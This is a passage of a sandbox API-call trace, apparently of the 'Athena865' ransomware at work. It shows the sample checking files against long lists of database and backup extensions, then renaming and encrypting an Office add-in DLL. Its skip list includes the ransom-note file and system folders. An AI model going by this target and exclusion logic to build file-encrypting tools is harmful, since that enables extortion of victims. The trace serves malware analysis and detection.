[0151.434] lstrlenW (lpString="vhdx") returned 4 [0151.434] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0151.435] lstrlenW (lpString="avhd") returned 4 [0151.435] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0151.435] lstrlenW (lpString="db") returned 2 [0151.435] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0151.435] lstrlenW (lpString="db2") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0151.435] lstrlenW (lpString="db3") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0151.435] lstrlenW (lpString="dbf") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0151.435] lstrlenW (lpString="mdf") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0151.435] lstrlenW (lpString="mdb") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0151.435] lstrlenW (lpString="sql") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0151.435] lstrlenW (lpString="sqlite") returned 6 [0151.435] lstrcmpiW (lpString1="LK.DLL", lpString2="sqlite") returned -1 [0151.435] lstrlenW (lpString="sqlite3") returned 7 [0151.435] lstrcmpiW (lpString1="OLK.DLL", lpString2="sqlite3") returned -1 [0151.435] lstrlenW (lpString="sqlitedb") returned 8 [0151.435] lstrcmpiW (lpString1="COLK.DLL", lpString2="sqlitedb") returned -1 [0151.435] lstrlenW (lpString="xml") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0151.435] lstrlenW (lpString="$er") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0151.435] lstrlenW (lpString="4dd") returned 3 [0151.435] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0151.435] lstrlenW (lpString="4dl") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0151.436] lstrlenW (lpString="^^^") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0151.436] lstrlenW (lpString="abs") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0151.436] lstrlenW (lpString="abx") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0151.436] lstrlenW (lpString="accdb") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accdb") returned 1 [0151.436] lstrlenW (lpString="accdc") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accdc") returned 1 [0151.436] lstrlenW (lpString="accde") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accde") returned 1 [0151.436] lstrlenW (lpString="accdr") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accdr") returned 1 [0151.436] lstrlenW (lpString="accdt") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accdt") returned 1 [0151.436] lstrlenW (lpString="accdw") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accdw") returned 1 [0151.436] lstrlenW (lpString="accft") returned 5 [0151.436] lstrcmpiW (lpString1="K.DLL", lpString2="accft") returned 1 [0151.436] lstrlenW (lpString="adb") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0151.436] lstrlenW (lpString="adb") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0151.436] lstrlenW (lpString="ade") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0151.436] lstrlenW (lpString="adf") returned 3 [0151.436] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0151.436] lstrlenW (lpString="adn") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0151.437] lstrlenW (lpString="adp") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0151.437] lstrlenW (lpString="alf") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0151.437] lstrlenW (lpString="ask") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0151.437] lstrlenW (lpString="btr") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0151.437] lstrlenW (lpString="cat") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0151.437] lstrlenW (lpString="cdb") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0151.437] lstrlenW (lpString="ckp") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0151.437] lstrlenW (lpString="cma") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0151.437] lstrlenW (lpString="cpd") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0151.437] lstrlenW (lpString="dacpac") returned 6 [0151.437] lstrcmpiW (lpString1="LK.DLL", lpString2="dacpac") returned 1 [0151.437] lstrlenW (lpString="dad") returned 3 [0151.437] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0151.437] lstrlenW (lpString="dadiagrams") returned 10 [0151.437] lstrlenW (lpString="daschema") returned 8 [0151.437] lstrcmpiW (lpString1="COLK.DLL", lpString2="daschema") returned -1 [0151.437] lstrlenW (lpString="db-journal") returned 10 [0151.437] lstrlenW (lpString="db-shm") returned 6 [0151.437] lstrcmpiW (lpString1="LK.DLL", lpString2="db-shm") returned 1 [0151.437] lstrlenW (lpString="db-wal") returned 6 [0151.438] lstrcmpiW (lpString1="LK.DLL", lpString2="db-wal") returned 1 [0151.438] lstrlenW (lpString="dbc") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0151.438] lstrlenW (lpString="dbs") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0151.438] lstrlenW (lpString="dbt") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0151.438] lstrlenW (lpString="dbv") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0151.438] lstrlenW (lpString="dbx") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0151.438] lstrlenW (lpString="dcb") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0151.438] lstrlenW (lpString="dct") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0151.438] lstrlenW (lpString="dcx") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0151.438] lstrlenW (lpString="ddl") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0151.438] lstrlenW (lpString="dlis") returned 4 [0151.438] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0151.438] lstrlenW (lpString="dp1") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0151.438] lstrlenW (lpString="dqy") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0151.438] lstrlenW (lpString="dsk") returned 3 [0151.438] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0151.438] lstrlenW (lpString="dsn") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0151.439] lstrlenW (lpString="dtsx") returned 4 [0151.439] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0151.439] lstrlenW (lpString="dxl") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0151.439] lstrlenW (lpString="eco") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0151.439] lstrlenW (lpString="ecx") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0151.439] lstrlenW (lpString="edb") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0151.439] lstrlenW (lpString="epim") returned 4 [0151.439] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0151.439] lstrlenW (lpString="fcd") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0151.439] lstrlenW (lpString="fdb") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0151.439] lstrlenW (lpString="fic") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0151.439] lstrlenW (lpString="flexolibrary") returned 12 [0151.439] lstrlenW (lpString="fm5") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0151.439] lstrlenW (lpString="fmp") returned 3 [0151.439] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0151.439] lstrlenW (lpString="fmp12") returned 5 [0151.439] lstrcmpiW (lpString1="K.DLL", lpString2="fmp12") returned 1 [0151.439] lstrlenW (lpString="fmpsl") returned 5 [0151.439] lstrcmpiW (lpString1="K.DLL", lpString2="fmpsl") returned 1 [0151.440] lstrlenW (lpString="fol") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0151.440] lstrlenW (lpString="fp3") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0151.440] lstrlenW (lpString="fp4") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0151.440] lstrlenW (lpString="fp5") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0151.440] lstrlenW (lpString="fp7") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0151.440] lstrlenW (lpString="fpt") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0151.440] lstrlenW (lpString="frm") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0151.440] lstrlenW (lpString="gdb") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0151.440] lstrlenW (lpString="gdb") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0151.440] lstrlenW (lpString="grdb") returned 4 [0151.440] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0151.440] lstrlenW (lpString="gwi") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0151.440] lstrlenW (lpString="hdb") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0151.440] lstrlenW (lpString="his") returned 3 [0151.440] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0151.440] lstrlenW (lpString="ib") returned 2 [0151.440] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0151.440] lstrlenW (lpString="idb") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0151.441] lstrlenW (lpString="ihx") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0151.441] lstrlenW (lpString="itdb") returned 4 [0151.441] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0151.441] lstrlenW (lpString="itw") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0151.441] lstrlenW (lpString="jet") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0151.441] lstrlenW (lpString="jtx") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0151.441] lstrlenW (lpString="kdb") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0151.441] lstrlenW (lpString="kexi") returned 4 [0151.441] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0151.441] lstrlenW (lpString="kexic") returned 5 [0151.441] lstrcmpiW (lpString1="K.DLL", lpString2="kexic") returned -1 [0151.441] lstrlenW (lpString="kexis") returned 5 [0151.441] lstrcmpiW (lpString1="K.DLL", lpString2="kexis") returned -1 [0151.441] lstrlenW (lpString="lgc") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0151.441] lstrlenW (lpString="lwx") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0151.441] lstrlenW (lpString="maf") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0151.441] lstrlenW (lpString="maq") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0151.441] lstrlenW (lpString="mar") returned 3 [0151.441] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0151.442] lstrlenW (lpString="marshal") returned 7 [0151.442] lstrcmpiW (lpString1="OLK.DLL", lpString2="marshal") returned 1 [0151.442] lstrlenW (lpString="mas") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0151.442] lstrlenW (lpString="mav") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0151.442] lstrlenW (lpString="maw") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0151.442] lstrlenW (lpString="mdbhtml") returned 7 [0151.442] lstrcmpiW (lpString1="OLK.DLL", lpString2="mdbhtml") returned 1 [0151.442] lstrlenW (lpString="mdn") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0151.442] lstrlenW (lpString="mdt") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0151.442] lstrlenW (lpString="mfd") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0151.442] lstrlenW (lpString="mpd") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0151.442] lstrlenW (lpString="mrg") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0151.442] lstrlenW (lpString="mud") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0151.442] lstrlenW (lpString="mwb") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0151.442] lstrlenW (lpString="myd") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0151.442] lstrlenW (lpString="ndf") returned 3 [0151.442] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0151.442] lstrlenW (lpString="nnt") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0151.443] lstrlenW (lpString="nrmlib") returned 6 [0151.443] lstrcmpiW (lpString1="LK.DLL", lpString2="nrmlib") returned -1 [0151.443] lstrlenW (lpString="ns2") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0151.443] lstrlenW (lpString="ns3") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0151.443] lstrlenW (lpString="ns4") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0151.443] lstrlenW (lpString="nsf") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0151.443] lstrlenW (lpString="nv") returned 2 [0151.443] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0151.443] lstrlenW (lpString="nv2") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0151.443] lstrlenW (lpString="nwdb") returned 4 [0151.443] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0151.443] lstrlenW (lpString="nyf") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0151.443] lstrlenW (lpString="odb") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0151.443] lstrlenW (lpString="odb") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0151.443] lstrlenW (lpString="oqy") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0151.443] lstrlenW (lpString="ora") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0151.443] lstrlenW (lpString="orx") returned 3 [0151.443] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0151.444] lstrlenW (lpString="owc") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0151.444] lstrlenW (lpString="p96") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0151.444] lstrlenW (lpString="p97") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0151.444] lstrlenW (lpString="pan") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0151.444] lstrlenW (lpString="pdb") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0151.444] lstrlenW (lpString="pdm") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0151.444] lstrlenW (lpString="pnz") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0151.444] lstrlenW (lpString="qry") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0151.444] lstrlenW (lpString="qvd") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0151.444] lstrlenW (lpString="rbf") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0151.444] lstrlenW (lpString="rctd") returned 4 [0151.444] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0151.444] lstrlenW (lpString="rod") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0151.444] lstrlenW (lpString="rodx") returned 4 [0151.444] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0151.444] lstrlenW (lpString="rpd") returned 3 [0151.444] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0151.444] lstrlenW (lpString="rsd") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0151.445] lstrlenW (lpString="sas7bdat") returned 8 [0151.445] lstrcmpiW (lpString1="COLK.DLL", lpString2="sas7bdat") returned -1 [0151.445] lstrlenW (lpString="sbf") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0151.445] lstrlenW (lpString="scx") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0151.445] lstrlenW (lpString="sdb") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0151.445] lstrlenW (lpString="sdc") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0151.445] lstrlenW (lpString="sdf") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0151.445] lstrlenW (lpString="sis") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0151.445] lstrlenW (lpString="spq") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0151.445] lstrlenW (lpString="te") returned 2 [0151.445] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0151.445] lstrlenW (lpString="teacher") returned 7 [0151.445] lstrcmpiW (lpString1="OLK.DLL", lpString2="teacher") returned -1 [0151.445] lstrlenW (lpString="tmd") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0151.445] lstrlenW (lpString="tps") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0151.445] lstrlenW (lpString="trc") returned 3 [0151.445] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0151.445] lstrlenW (lpString="trc") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0151.446] lstrlenW (lpString="trm") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0151.446] lstrlenW (lpString="udb") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0151.446] lstrlenW (lpString="udl") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0151.446] lstrlenW (lpString="usr") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0151.446] lstrlenW (lpString="v12") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0151.446] lstrlenW (lpString="vis") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0151.446] lstrlenW (lpString="vpd") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0151.446] lstrlenW (lpString="vvv") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0151.446] lstrlenW (lpString="wdb") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0151.446] lstrlenW (lpString="wmdb") returned 4 [0151.446] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0151.446] lstrlenW (lpString="wrk") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0151.446] lstrlenW (lpString="xdb") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0151.446] lstrlenW (lpString="xld") returned 3 [0151.446] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0151.446] lstrlenW (lpString="xmlff") returned 5 [0151.446] lstrcmpiW (lpString1="K.DLL", lpString2="xmlff") returned -1 [0151.446] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL.Athena865") returned 70 [0151.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll.athena865"), dwFlags=0x1) returned 1 [0151.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.452] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=123784) returned 1 [0151.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.452] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.453] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.453] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.453] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e690, lpName=0x0) returned 0x17c [0151.457] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e690) returned 0x100000 [0151.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.464] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.464] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.465] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.466] CloseHandle (hObject=0x17c) returned 1 [0151.466] CloseHandle (hObject=0x154) returned 1 [0151.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.467] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2=".") returned 1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="..") returned 1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="windows") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="bootmgr") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="temp") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="pagefile.sys") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="boot") returned -1 [0151.467] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="ids.txt") returned -1 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="ntuser.dat") returned -1 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="perflogs") returned -1 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2="MSBuild") returned -1 [0151.468] lstrlenW (lpString="BCSAddin.dll") returned 12 [0151.468] lstrcpyW (in: lpString1=0x241e8ac, lpString2="BCSAddin.dll" | out: lpString1="BCSAddin.dll") returned="BCSAddin.dll" [0151.468] lstrlenW (lpString="BCSAddin.dll") returned 12 [0151.468] lstrlenW (lpString="Athena865") returned 9 [0151.468] lstrcmpiW (lpString1="Addin.dll", lpString2="Athena865") returned -1 [0151.468] lstrlenW (lpString=".dll") returned 4 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2=".dll") returned 1 [0151.468] lstrlenW (lpString=".lnk") returned 4 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2=".lnk") returned 1 [0151.468] lstrlenW (lpString=".ini") returned 4 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2=".ini") returned 1 [0151.468] lstrlenW (lpString=".sys") returned 4 [0151.468] lstrcmpiW (lpString1="BCSAddin.dll", lpString2=".sys") returned 1 [0151.468] lstrlenW (lpString="BCSAddin.dll") returned 12 [0151.468] lstrlenW (lpString="bak") returned 3 [0151.468] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0151.468] lstrlenW (lpString="ba_") returned 3 [0151.468] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0151.468] 